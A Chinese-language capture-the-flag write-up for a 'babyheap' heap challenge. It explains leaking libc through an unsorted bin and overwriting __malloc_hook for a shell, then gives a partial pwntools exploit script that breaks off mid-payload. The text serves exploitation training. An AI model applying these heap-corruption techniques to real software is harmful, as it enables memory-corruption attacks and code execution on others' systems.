这是一道关于堆的题目,我们先看一下保护
,
可以知道保护全开,64位,再看ida
这里就不作过多的解释了,大致就是alloc(创造堆块)、fill(填充堆块内容)、free(释放堆块)、dump(输出堆块内容)
解题的思路可以分为两步,第一步是利用unsortedbin的特性泄露出mainare+88的地址,进而求出libc,第二步就是伪造堆块和利用malloc_hook的特性getshell。
先来详细讲讲第一步,第一步exp如下
from pwn import*
from LibcSearcher import*
context(log_level='debug',arch='amd64')
p=process('./babyheap')
#p=remote('node5.buuoj.cn',27442)
def alloc(size):
p.sendlineafter(b'Command:',str(1))
p.sendlineafter(b'Size:',str(size))
def fill(index,size,content):
p.sendlineafter(b'Command:',str(2))
p.sendlineafter(b'Index:',str(index))
p.sendlineafter(b'Size:',str(size))
p.sendafter(b'Content:',content)
def free(index):
p.sendlineafter(b'Command:',str(3))
p.sendlineafter(b'Index:',str(index))
def dump(index):
p.sendlineafter(b'Command:',str(4))
p.sendlineafter(b'Index:',str(index))
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)
payload=p64(0)*3+p64(0x21)&